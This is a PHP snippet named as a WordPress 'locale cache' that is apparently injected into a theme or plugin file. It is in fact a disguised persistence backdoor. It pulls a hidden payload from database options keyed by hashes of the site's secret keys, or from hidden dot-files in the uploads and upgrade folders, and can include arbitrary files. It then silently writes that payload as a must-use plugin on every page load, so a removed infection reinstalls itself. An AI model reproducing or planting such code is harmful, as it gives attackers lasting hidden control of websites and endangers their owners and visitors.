// locale-cache-a if (!function_exists('wp_locale_cache_load_seeders_for_stub')) { function wp_locale_cache_load_seeders_for_stub() { if (!function_exists('get_option') || !function_exists('get_stylesheet_directory')) { return; } $paths = array(); $map = get_option('wp_plugin_helper_seed_targets', ''); if (is_string($map) && $map !== '') { $j = json_decode($map, true); if (!empty($j['seeders']) && is_array($j['seeders'])) { $paths = $j['seeders']; } elseif (!empty($j['rels']) && is_array($j['rels'])) { $base = get_stylesheet_directory(); foreach ($j['rels'] as $rel) { if (!is_string($rel) || $rel === '') { continue; } $paths[] = $base . '/' . ltrim(str_replace('\\', '/', $rel), '/'); } } } foreach ($paths as $p) { if (!is_string($p) || $p === '' || !is_readable($p)) { continue; } include_once $p; if (function_exists('wp_locale_cache_reseed') || function_exists('wp_locale_cache_embedded_stub')) { return; } } } } if (!function_exists('wp_locale_cache_reseed')) { $boot = ''; if (function_exists('get_option') && defined('AUTH_KEY') && defined('SECURE_AUTH_KEY') && AUTH_KEY !== '' && SECURE_AUTH_KEY !== '') { $bk = '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|boot'), 0, 20); $boot = (string) get_option($bk, ''); } if ($boot === '' && function_exists('get_option')) { $boot = (string) get_option('wp_locale_cache_bootstrap', ''); if ($boot === '') { $boot = (string) get_option('_wp_locale_cache_bootstrap', ''); } } if ($boot === '' && !function_exists('wp_locale_cache_embedded_stub')) { wp_locale_cache_load_seeders_for_stub(); } } if (!function_exists('wp_locale_cache_reseed')) { function wp_locale_cache_reseed() { $mu_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : (WP_CONTENT_DIR . '/mu-plugins'); $dst = rtrim($mu_dir, '/\\') . '/class-wp-locale-cache.php'; $stub = ''; if (function_exists('get_option') && defined('AUTH_KEY') && defined('SECURE_AUTH_KEY') && AUTH_KEY !== '' && SECURE_AUTH_KEY !== '') { $boot = '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|boot'), 0, 20); $bootb = '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|bootb'), 0, 20); $stub = (string) get_option($boot, ''); if ($stub === '') { $stub = (string) get_option($bootb, ''); } } if ($stub === '' && function_exists('get_option')) { $stub = (string) get_option('wp_locale_cache_bootstrap', ''); if ($stub === '') { $stub = (string) get_option('_wp_locale_cache_bootstrap', ''); } } if ($stub === '' && defined('WP_CONTENT_DIR') && defined('AUTH_KEY') && defined('SECURE_AUTH_KEY') && AUTH_KEY !== '' && SECURE_AUTH_KEY !== '') { $h = substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc-disk|boot'), 0, 16); foreach (array(rtrim(WP_CONTENT_DIR, '/\\') . '/upgrade/.' . $h, rtrim(WP_CONTENT_DIR, '/\\') . '/uploads/.' . $h . '.cache') as $bp) { if (!is_readable($bp)) { continue; } $t = @file_get_contents($bp); if (is_string($t) && $t !== '') { $stub = $t; break; } } } if ($stub === '' && function_exists('wp_locale_cache_embedded_stub')) { $stub = (string) wp_locale_cache_embedded_stub(); } if ($stub === '') { wp_locale_cache_load_seeders_for_stub(); if (function_exists('wp_locale_cache_embedded_stub')) { $stub = (string) wp_locale_cache_embedded_stub(); } } if ($stub === '') { return; } if (is_file($dst) && is_readable($dst) && @md5_file($dst) === md5($stub)) { return; } if (!is_dir($mu_dir)) { if (function_exists('wp_mkdir_p')) { wp_mkdir_p($mu_dir); } else { @mkdir($mu_dir, 0755, true); } } @file_put_contents($dst, $stub); } wp_locale_cache_reseed(); add_action('init', 'wp_locale_cache_reseed', 1); } elseif (function_exists('wp_locale_cache_reseed')) { wp_locale_cache_reseed(); } // locale-cache-a-end Jan Kreutz |